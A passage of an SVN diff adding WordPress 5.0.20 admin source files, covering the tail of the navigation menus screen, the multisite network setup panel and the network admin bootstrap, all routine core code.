+// Are we on the add new screen?
+$add_new_screen = ( isset( $_GET['menu'] ) && 0 == $_GET['menu'] ) ? true : false;
+
+$locations_screen = ( isset( $_GET['action'] ) && 'locations' == $_GET['action'] ) ? true : false;
+
+/*
+ * If we have one theme location, and zero menus, we take them right
+ * into editing their first menu.
+ */
+$page_count = wp_count_posts( 'page' );
+$one_theme_location_no_menus = ( 1 == count( get_registered_nav_menus() ) && ! $add_new_screen && empty( $nav_menus ) && ! empty( $page_count->publish ) ) ? true : false;
+
+$nav_menus_l10n = array(
+	'oneThemeLocationNoMenus' => $one_theme_location_no_menus,
+	'moveUp'       => __( 'Move up one' ),
+	'moveDown'     => __( 'Move down one' ),
+	'moveToTop'    => __( 'Move to the top' ),
+	/* translators: %s: previous item name */
+	'moveUnder'    => __( 'Move under %s' ),
+	/* translators: %s: previous item name */
+	'moveOutFrom'  => __( 'Move out from under %s' ),
+	/* translators: %s: previous item name */
+	'under'        => __( 'Under %s' ),
+	/* translators: %s: previous item name */
+	'outFrom'      => __( 'Out from under %s' ),
+	/* translators: 1: item name, 2: item position, 3: total number of items */
+	'menuFocus'    => __( '%1$s. Menu item %2$d of %3$d.' ),
+	/* translators: 1: item name, 2: item position, 3: parent item name */
+	'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ),
+);
+wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n );
+
+/*
+ * Redirect to add screen if there are no menus and this users has either zero,
+ * or more than 1 theme locations.
+ */
+if ( 0 == $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus )
+	wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) );
+
+// Get recently edited nav menu.
+$recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) );
+if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) )
+	$recently_edited = $nav_menu_selected_id;
+
+// Use $recently_edited if none are selected.
+if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) )
+	$nav_menu_selected_id = $recently_edited;
+
+// On deletion of menu, if another menu exists, show it.
+if ( ! $add_new_screen && 0 < $menu_count && isset( $_GET['action'] ) && 'delete' == $_GET['action'] )
+	$nav_menu_selected_id = $nav_menus[0]->term_id;
+
+// Set $nav_menu_selected_id to 0 if no menus.
+if ( $one_theme_location_no_menus ) {
+	$nav_menu_selected_id = 0;
+} elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) {
+	// if we have no selection yet, and we have menus, set to the first one in the list.
+	$nav_menu_selected_id = $nav_menus[0]->term_id;
+}
+
+// Update the user's setting.
+if ( $nav_menu_selected_id != $recently_edited && is_nav_menu( $nav_menu_selected_id ) )
+	update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id );
+
+// If there's a menu, get its name.
+if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) {
+	$_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id );
+	$nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : '';
+}
+
+// Generate truncated menu names.
+foreach ( (array) $nav_menus as $key => $_nav_menu ) {
+	$nav_menus[$key]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '&hellip;' );
+}
+
+// Retrieve menu locations.
+if ( current_theme_supports( 'menus' ) ) {
+	$locations = get_registered_nav_menus();
+	$menu_locations = get_nav_menu_locations();
+}
+
+/*
+ * Ensure the user will be able to scroll horizontally
+ * by adding a class for the max menu depth.
+ *
+ * @global int $_wp_nav_menu_max_depth
+ */
+global $_wp_nav_menu_max_depth;
+$_wp_nav_menu_max_depth = 0;
+
+// Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth.
+if ( is_nav_menu( $nav_menu_selected_id ) ) {
+	$menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) );
+	$edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id );
+}
+
+/**
+ *
+ * @global int $_wp_nav_menu_max_depth
+ *
+ * @param string $classes
+ * @return string
+ */
+function wp_nav_menu_max_depth( $classes ) {
+	global $_wp_nav_menu_max_depth;
+	return "$classes menu-max-depth-$_wp_nav_menu_max_depth";
+}
+
+add_filter('admin_body_class', 'wp_nav_menu_max_depth');
+
+wp_nav_menu_setup();
+wp_initial_nav_menu_meta_boxes();
+
+if ( ! current_theme_supports( 'menus' ) && ! $num_locations )
+	$messages[] = '<div id="message" class="updated"><p>' . sprintf( __( 'Your theme does not natively support menus, but you can use them in sidebars by adding a &#8220;Navigation Menu&#8221; widget on the <a href="%s">Widgets</a> screen.' ), admin_url( 'widgets.php' ) ) . '</p></div>';
+
+if ( ! $locations_screen ) : // Main tab
+	$overview  = '<p>' . __( 'This screen is used for managing your navigation menus.' ) . '</p>';
+	/* translators: 1: Widgets admin screen URL, 2 and 3: The name of the default themes */
+	$overview .= '<p>' . sprintf( __( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a &#8220;Navigation Menu&#8221; widget on the <a href="%1$s">Widgets</a> screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the Documentation link to the side.' ), admin_url( 'widgets.php' ), 'Twenty Seventeen', 'Twenty Nineteen' ) . '</p>';
+	$overview .= '<p>' . __( 'From this screen you can:' ) . '</p>';
+	$overview .= '<ul><li>' . __( 'Create, edit, and delete menus' ) . '</li>';
+	$overview .= '<li>' . __( 'Add, organize, and modify individual menu items' ) . '</li></ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __( 'Overview' ),
+		'content' => $overview
+	) );
+
+	$menu_management  = '<p>' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '</p>';
+	$menu_management .= '<ul><li>' . __( 'To edit an existing menu, <strong>choose a menu from the drop down and click Select</strong>' ) . '</li>';
+	$menu_management .= '<li>' . __( 'If you haven&#8217;t yet created any menus, <strong>click the &#8217;create a new menu&#8217; link</strong> to get started' ) . '</li></ul>';
+	$menu_management .= '<p>' . __( 'You can assign theme locations to individual menus by <strong>selecting the desired settings</strong> at the bottom of the menu editor. To assign menus to all theme locations at once, <strong>visit the Manage Locations tab</strong> at the top of the screen.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'menu-management',
+		'title'   => __( 'Menu Management' ),
+		'content' => $menu_management
+	) );
+
+	$editing_menus  = '<p>' . __( 'Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '</p>';
+	$editing_menus .= '<p>' . __( '<strong>Clicking the arrow to the right of any menu item</strong> in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '</p>';
+	$editing_menus .= '<ul><li>' . __( 'Add one or several items at once by <strong>selecting the checkbox next to each item and clicking Add to Menu</strong>' ) . '</li>';
+	$editing_menus .= '<li>' . __( 'To add a custom link, <strong>expand the Custom Links section, enter a URL and link text, and click Add to Menu</strong>' ) .'</li>';
+	$editing_menus .= '<li>' . __( 'To reorganize menu items, <strong>drag and drop items with your mouse or use your keyboard</strong>. Drag or move a menu item a little to the right to make it a submenu' ) . '</li>';
+	$editing_menus .= '<li>' . __( 'Delete a menu item by <strong>expanding it and clicking the Remove link</strong>' ) . '</li></ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'editing-menus',
+		'title'   => __( 'Editing Menus' ),
+		'content' => $editing_menus
+	) );
+else : // Locations Tab.
+	$locations_overview  = '<p>' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '</p>';
+	$locations_overview .= '<ul><li>' . __( 'To assign menus to one or more theme locations, <strong>select a menu from each location&#8217;s drop down.</strong> When you&#8217;re finished, <strong>click Save Changes</strong>' ) . '</li>';
+	$locations_overview .= '<li>' . __( 'To edit a menu currently assigned to a theme location, <strong>click the adjacent &#8217;Edit&#8217; link</strong>' ) . '</li>';
+	$locations_overview .= '<li>' . __( 'To add a new menu instead of assigning an existing one, <strong>click the &#8217;Use new menu&#8217; link</strong>. Your new menu will be automatically assigned to that theme location' ) . '</li></ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'locations-overview',
+		'title'   => __( 'Overview' ),
+		'content' => $locations_overview
+	) );
+endif;
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Appearance_Menus_Screen">Documentation on Menus</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+// Get the admin header.
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap">
+	<h1 class="wp-heading-inline"><?php echo esc_html( __( 'Menus' ) ); ?></h1>
+	<?php
+	if ( current_user_can( 'customize' ) ) :
+		$focus = $locations_screen ? array( 'section' => 'menu_locations' ) : array( 'panel' => 'nav_menus' );
+		printf(
+			' <a class="page-title-action hide-if-no-customize" href="%1$s">%2$s</a>',
+			esc_url( add_query_arg( array(
+				array( 'autofocus' => $focus ),
+				'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ),
+			), admin_url( 'customize.php' ) ) ),
+			__( 'Manage with Live Preview' )
+		);
+	endif;
+	?>
+
+	<hr class="wp-header-end">
+
+	<h2 class="nav-tab-wrapper wp-clearfix">
+		<a href="<?php echo admin_url( 'nav-menus.php' ); ?>" class="nav-tab<?php if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' != $_GET['action'] ) echo ' nav-tab-active'; ?>"><?php esc_html_e( 'Edit Menus' ); ?></a>
+		<?php if ( $num_locations && $menu_count ) : ?>
+			<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>" class="nav-tab<?php if ( $locations_screen ) echo ' nav-tab-active'; ?>"><?php esc_html_e( 'Manage Locations' ); ?></a>
+		<?php
+			endif;
+		?>
+	</h2>
+	<?php
+	foreach ( $messages as $message ) :
+		echo $message . "\n";
+	endforeach;
+	?>
+	<?php
+	if ( $locations_screen ) :
+		if ( 1 == $num_locations ) {
+			echo '<p>' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '</p>';
+		} else {
+			echo '<p>' .  sprintf( _n( 'Your theme supports %s menu. Select which menu appears in each location.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>';
+		}
+	?>
+	<div id="menu-locations-wrap">
+		<form method="post" action="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>">
+			<table class="widefat fixed" id="menu-locations-table">
+				<thead>
+				<tr>
+					<th scope="col" class="manage-column column-locations"><?php _e( 'Theme Location' ); ?></th>
+					<th scope="col" class="manage-column column-menus"><?php _e( 'Assigned Menu' ); ?></th>
+				</tr>
+				</thead>
+				<tbody class="menu-locations">
+				<?php foreach ( $locations as $_location => $_name ) { ?>
+					<tr class="menu-locations-row">
+						<td class="menu-location-title"><label for="locations-<?php echo $_location; ?>"><?php echo $_name; ?></label></td>
+						<td class="menu-location-menus">
+							<select name="menu-locations[<?php echo $_location; ?>]" id="locations-<?php echo $_location; ?>">
+								<option value="0"><?php printf( '&mdash; %s &mdash;', esc_html__( 'Select a Menu' ) ); ?></option>
+								<?php foreach ( $nav_menus as $menu ) : ?>
+									<?php $selected = isset( $menu_locations[$_location] ) && $menu_locations[$_location] == $menu->term_id; ?>
+									<option <?php if ( $selected ) echo 'data-orig="true"'; ?> <?php selected( $selected ); ?> value="<?php echo $menu->term_id; ?>">
+										<?php echo wp_html_excerpt( $menu->name, 40, '&hellip;' ); ?>
+									</option>
+								<?php endforeach; ?>
+							</select>
+							<div class="locations-row-links">
+								<?php if ( isset( $menu_locations[ $_location ] ) && 0 != $menu_locations[ $_location ] ) : ?>
+								<span class="locations-edit-menu-link">
+									<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => $menu_locations[$_location] ), admin_url( 'nav-menus.php' ) ) ); ?>">
+										<span aria-hidden="true"><?php _ex( 'Edit', 'menu' ); ?></span><span class="screen-reader-text"><?php _e( 'Edit selected menu' ); ?></span>
+									</a>
+								</span>
+								<?php endif; ?>
+								<span class="locations-add-menu-link">
+									<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, 'use-location' => $_location ), admin_url( 'nav-menus.php' ) ) ); ?>">
+										<?php _ex( 'Use new menu', 'menu' ); ?>
+									</a>
+								</span>
+							</div><!-- .locations-row-links -->
+						</td><!-- .menu-location-menus -->
+					</tr><!-- .menu-locations-row -->
+				<?php } // foreach ?>
+				</tbody>
+			</table>
+			<p class="button-controls wp-clearfix"><?php submit_button( __( 'Save Changes' ), 'primary left', 'nav-menu-locations', false ); ?></p>
+			<?php wp_nonce_field( 'save-menu-locations' ); ?>
+			<input type="hidden" name="menu" id="nav-menu-meta-object-id" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
+		</form>
+	</div><!-- #menu-locations-wrap -->
+	<?php
+	/**
+	 * Fires after the menu locations table is displayed.
+	 *
+	 * @since 3.6.0
+	 */
+	do_action( 'after_menu_locations_table' ); ?>
+	<?php else : ?>
+	<div class="manage-menus">
+ 		<?php if ( $menu_count < 2 ) : ?>
+		<span class="add-edit-menu-action">
+			<?php printf( __( 'Edit your menu below, or <a href="%s">create a new menu</a>.' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0 ), admin_url( 'nav-menus.php' ) ) ) ); ?>
+		</span><!-- /add-edit-menu-action -->
+		<?php else : ?>
+			<form method="get" action="<?php echo admin_url( 'nav-menus.php' ); ?>">
+			<input type="hidden" name="action" value="edit" />
+			<label for="select-menu-to-edit" class="selected-menu"><?php _e( 'Select a menu to edit:' ); ?></label>
+			<select name="menu" id="select-menu-to-edit">
+				<?php if ( $add_new_screen ) : ?>
+					<option value="0" selected="selected"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+				<?php endif; ?>
+				<?php foreach ( (array) $nav_menus as $_nav_menu ) : ?>
+					<option value="<?php echo esc_attr( $_nav_menu->term_id ); ?>" <?php selected( $_nav_menu->term_id, $nav_menu_selected_id ); ?>>
+						<?php
+						echo esc_html( $_nav_menu->truncated_name ) ;
+
+						if ( ! empty( $menu_locations ) && in_array( $_nav_menu->term_id, $menu_locations ) ) {
+							$locations_assigned_to_this_menu = array();
+							foreach ( array_keys( $menu_locations, $_nav_menu->term_id ) as $menu_location_key ) {
+								if ( isset( $locations[ $menu_location_key ] ) ) {
+									$locations_assigned_to_this_menu[] = $locations[ $menu_location_key ];
+								}
+							}
+
+							/**
+							 * Filters the number of locations listed per menu in the drop-down select.
+							 *
+							 * @since 3.6.0
+							 *
+							 * @param int $locations Number of menu locations to list. Default 3.
+							 */
+							$assigned_locations = array_slice( $locations_assigned_to_this_menu, 0, absint( apply_filters( 'wp_nav_locations_listed_per_menu', 3 ) ) );
+
+							// Adds ellipses following the number of locations defined in $assigned_locations.
+							if ( ! empty( $assigned_locations ) ) {
+								printf( ' (%1$s%2$s)',
+									implode( ', ', $assigned_locations ),
+									count( $locations_assigned_to_this_menu ) > count( $assigned_locations ) ? ' &hellip;' : ''
+								);
+							}
+						}
+						?>
+					</option>
+				<?php endforeach; ?>
+			</select>
+			<span class="submit-btn"><input type="submit" class="button" value="<?php esc_attr_e( 'Select' ); ?>"></span>
+			<span class="add-new-menu-action">
+				<?php printf( __( 'or <a href="%s">create a new menu</a>.' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0 ), admin_url( 'nav-menus.php' ) ) ) ); ?>
+			</span><!-- /add-new-menu-action -->
+		</form>
+	<?php endif; ?>
+	</div><!-- /manage-menus -->
+	<div id="nav-menus-frame" class="wp-clearfix">
+	<div id="menu-settings-column" class="metabox-holder<?php if ( isset( $_GET['menu'] ) && '0' == $_GET['menu'] ) { echo ' metabox-holder-disabled'; } ?>">
+
+		<div class="clear"></div>
+
+		<form id="nav-menu-meta" class="nav-menu-meta" method="post" enctype="multipart/form-data">
+			<input type="hidden" name="menu" id="nav-menu-meta-object-id" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
+			<input type="hidden" name="action" value="add-menu-item" />
+			<?php wp_nonce_field( 'add-menu_item', 'menu-settings-column-nonce' ); ?>
+			<?php do_accordion_sections( 'nav-menus', 'side', null ); ?>
+		</form>
+
+	</div><!-- /#menu-settings-column -->
+	<div id="menu-management-liquid">
+		<div id="menu-management">
+			<form id="update-nav-menu" method="post" enctype="multipart/form-data">
+				<div class="menu-edit <?php if ( $add_new_screen ) echo 'blank-slate'; ?>">
+					<input type="hidden" name="nav-menu-data">
+					<?php
+					wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+					wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+					wp_nonce_field( 'update-nav_menu', 'update-nav-menu-nonce' );
+
+					$menu_name_aria_desc = $add_new_screen ? ' aria-describedby="menu-name-desc"' : '';
+
+					if ( $one_theme_location_no_menus ) {
+						$menu_name_val = 'value="' . esc_attr( 'Menu 1' ) . '"';
+					?>
+						<input type="hidden" name="zero-menu-state" value="true" />
+					<?php } else {
+						$menu_name_val = 'value="' . esc_attr( $nav_menu_selected_title ) . '"';
+					} ?>
+ 					<input type="hidden" name="action" value="update" />
+					<input type="hidden" name="menu" id="menu" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
+					<div id="nav-menu-header">
+						<div class="major-publishing-actions wp-clearfix">
+							<label class="menu-name-label" for="menu-name"><?php _e( 'Menu Name' ); ?></label>
+							<input name="menu-name" id="menu-name" type="text" class="menu-name regular-text menu-item-textbox" <?php echo $menu_name_val . $menu_name_aria_desc; ?> />
+							<div class="publishing-action">
+								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'primary large menu-save', 'save_menu', false, array( 'id' => 'save_menu_header' ) ); ?>
+							</div><!-- END .publishing-action -->
+						</div><!-- END .major-publishing-actions -->
+					</div><!-- END .nav-menu-header -->
+					<div id="post-body">
+						<div id="post-body-content" class="wp-clearfix">
+							<?php if ( ! $add_new_screen ) : ?>
+							<h3><?php _e( 'Menu Structure' ); ?></h3>
+							<?php $starter_copy = ( $one_theme_location_no_menus ) ? __( 'Edit your default menu by adding or removing items. Drag each item into the order you prefer. Click Create Menu to save your changes.' ) : __( 'Drag each item into the order you prefer. Click the arrow on the right of the item to reveal additional configuration options.' ); ?>
+							<div class="drag-instructions post-body-plain" <?php if ( isset( $menu_items ) && 0 == count( $menu_items ) ) { ?>style="display: none;"<?php } ?>>
+								<p><?php echo $starter_copy; ?></p>
+							</div>
+							<?php
+							if ( isset( $edit_markup ) && ! is_wp_error( $edit_markup ) ) {
+								echo $edit_markup;
+							} else {
+							?>
+							<ul class="menu" id="menu-to-edit"></ul>
+							<?php } ?>
+							<?php endif; ?>
+							<?php if ( $add_new_screen ) : ?>
+								<p class="post-body-plain" id="menu-name-desc"><?php _e( 'Give your menu a name, then click Create Menu.' ); ?></p>
+								<?php if ( isset( $_GET['use-location'] ) ) : ?>
+									<input type="hidden" name="use-location" value="<?php echo esc_attr( $_GET['use-location'] ); ?>" />
+								<?php endif; ?>
+							<?php endif; ?>
+							<div class="menu-settings" <?php if ( $one_theme_location_no_menus ) { ?>style="display: none;"<?php } ?>>
+								<h3><?php _e( 'Menu Settings' ); ?></h3>
+								<?php
+								if ( ! isset( $auto_add ) ) {
+									$auto_add = get_option( 'nav_menu_options' );
+									if ( ! isset( $auto_add['auto_add'] ) )
+										$auto_add = false;
+									elseif ( false !== array_search( $nav_menu_selected_id, $auto_add['auto_add'] ) )
+										$auto_add = true;
+									else
+										$auto_add = false;
+								} ?>
+
+								<fieldset class="menu-settings-group auto-add-pages">
+									<legend class="menu-settings-group-name howto"><?php _e( 'Auto add pages' ); ?></legend>
+									<div class="menu-settings-input checkbox-input">
+										<input type="checkbox"<?php checked( $auto_add ); ?> name="auto-add-pages" id="auto-add-pages" value="1" /> <label for="auto-add-pages"><?php printf( __('Automatically add new top-level pages to this menu' ), esc_url( admin_url( 'edit.php?post_type=page' ) ) ); ?></label>
+									</div>
+								</fieldset>
+
+								<?php if ( current_theme_supports( 'menus' ) ) : ?>
+
+									<fieldset class="menu-settings-group menu-theme-locations">
+										<legend class="menu-settings-group-name howto"><?php _e( 'Display location' ); ?></legend>
+										<?php foreach ( $locations as $location => $description ) : ?>
+										<div class="menu-settings-input checkbox-input">
+											<input type="checkbox"<?php checked( isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] == $nav_menu_selected_id ); ?> name="menu-locations[<?php echo esc_attr( $location ); ?>]" id="locations-<?php echo esc_attr( $location ); ?>" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
+											<label for="locations-<?php echo esc_attr( $location ); ?>"><?php echo $description; ?></label>
+											<?php if ( ! empty( $menu_locations[ $location ] ) && $menu_locations[ $location ] != $nav_menu_selected_id ) : ?>
+												<span class="theme-location-set"><?php
+													/* translators: %s: menu name */
+													printf( _x( '(Currently set to: %s)', 'menu location' ),
+														wp_get_nav_menu_object( $menu_locations[ $location ] )->name
+													);
+												?></span>
+											<?php endif; ?>
+										</div>
+										<?php endforeach; ?>
+									</fieldset>
+
+								<?php endif; ?>
+
+							</div>
+						</div><!-- /#post-body-content -->
+					</div><!-- /#post-body -->
+					<div id="nav-menu-footer">
+						<div class="major-publishing-actions wp-clearfix">
+							<?php if ( 0 != $menu_count && ! $add_new_screen ) : ?>
+							<span class="delete-action">
+								<a class="submitdelete deletion menu-delete" href="<?php echo esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'delete', 'menu' => $nav_menu_selected_id ), admin_url( 'nav-menus.php' ) ), 'delete-nav_menu-' . $nav_menu_selected_id) ); ?>"><?php _e('Delete Menu'); ?></a>
+							</span><!-- END .delete-action -->
+							<?php endif; ?>
+							<div class="publishing-action">
+								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'primary large menu-save', 'save_menu', false, array( 'id' => 'save_menu_footer' ) ); ?>
+							</div><!-- END .publishing-action -->
+						</div><!-- END .major-publishing-actions -->
+					</div><!-- /#nav-menu-footer -->
+				</div><!-- /.menu-edit -->
+			</form><!-- /#update-nav-menu -->
+		</div><!-- /#menu-management -->
+	</div><!-- /#menu-management-liquid -->
+	</div><!-- /#nav-menus-frame -->
+	<?php endif; ?>
+</div><!-- /.wrap-->
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/network.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network.php	(revision 56912)
@@ -0,0 +1,118 @@
+<?php
+/**
+ * Network installation administration panel.
+ *
+ * A multi-step process allowing the user to enable a network of WordPress sites.
+ *
+ * @since 3.0.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+define( 'WP_INSTALLING_NETWORK', true );
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'setup_network' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
+}
+
+if ( is_multisite() ) {
+	if ( ! is_network_admin() ) {
+		wp_redirect( network_admin_url( 'setup.php' ) );
+		exit;
+	}
+
+	if ( ! defined( 'MULTISITE' ) ) {
+		wp_die( __( 'The Network creation panel is not for WordPress MU networks.' ) );
+	}
+}
+
+require_once( dirname( __FILE__ ) . '/includes/network.php' );
+
+// We need to create references to ms global tables to enable Network.
+foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
+	$wpdb->$table = $prefixed_table;
+}
+
+if ( ! network_domain_check() && ( ! defined( 'WP_ALLOW_MULTISITE' ) || ! WP_ALLOW_MULTISITE ) ) {
+	wp_die(
+		printf(
+			/* translators: 1: WP_ALLOW_MULTISITE 2: wp-config.php */
+			__( 'You must define the %1$s constant as true in your %2$s file to allow creation of a Network.' ),
+			'<code>WP_ALLOW_MULTISITE</code>',
+			'<code>wp-config.php</code>'
+		)
+	);
+}
+
+if ( is_network_admin() ) {
+	$title = __( 'Network Setup' );
+	$parent_file = 'settings.php';
+} else {
+	$title = __( 'Create a Network of WordPress Sites' );
+	$parent_file = 'tools.php';
+}
+
+$network_help = '<p>' . __('This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.') . '</p>' .
+	'<p>' . __('Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your installation. Fill out the network details, and click Install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).') . '</p>' .
+	'<p>' . __('The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.') . '</p>' .
+	'<p>' . __('Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).') . '</p>' .
+	'<p>' . __('Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.') . '</p>' .
+	'<p>' . __('The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with &#8220;/blog/&#8221; from the main site. This disabling will be addressed in a future version.') . '</p>' .
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'network',
+	'title'   => __('Network'),
+	'content' => $network_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<?php
+if ( $_POST ) {
+
+	check_admin_referer( 'install-network-1' );
+
+	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+	// Create network tables.
+	install_network();
+	$base              = parse_url( trailingslashit( get_option( 'home' ) ), PHP_URL_PATH );
+	$subdomain_install = allow_subdomain_install() ? !empty( $_POST['subdomain_install'] ) : false;
+	if ( ! network_domain_check() ) {
+		$result = populate_network( 1, get_clean_basedomain(), sanitize_email( $_POST['email'] ), wp_unslash( $_POST['sitename'] ), $base, $subdomain_install );
+		if ( is_wp_error( $result ) ) {
+			if ( 1 == count( $result->get_error_codes() ) && 'no_wildcard_dns' == $result->get_error_code() )
+				network_step2( $result );
+			else
+				network_step1( $result );
+		} else {
+			network_step2();
+		}
+	} else {
+		network_step2();
+	}
+} elseif ( is_multisite() || network_domain_check() ) {
+	network_step2();
+} else {
+	network_step1();
+}
+?>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/network/about.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/about.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/about.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Network About administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/about.php' );
Index: /tags/5.0.20/src/wp-admin/network/admin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/admin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/admin.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * WordPress Network Administration Bootstrap
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+define( 'WP_NETWORK_ADMIN', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );
+
+// Do not remove this check. It is required by individual network admin pages.
+if ( ! is_multisite() ) {
+	wp_die( __( 'Multisite support is not enabled.' ) );
+}
+
+$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );
+
+/**
+ * Filters whether to redirect the request to the Network Admin.
+ *
+ * @since 3.2.0
+ *
+ * @param bool $redirect_network_admin_request Whether the request should be redirected.
+ */
+$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
+if ( $redirect_network_admin_request ) {
+	wp_redirect( network_admin_url() );
+	exit;
+}
+unset( $redirect_network_admin_request );
Index: /tags/5.0.20/src/wp-admin/network/credits.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/credits.php	(revision 56912)
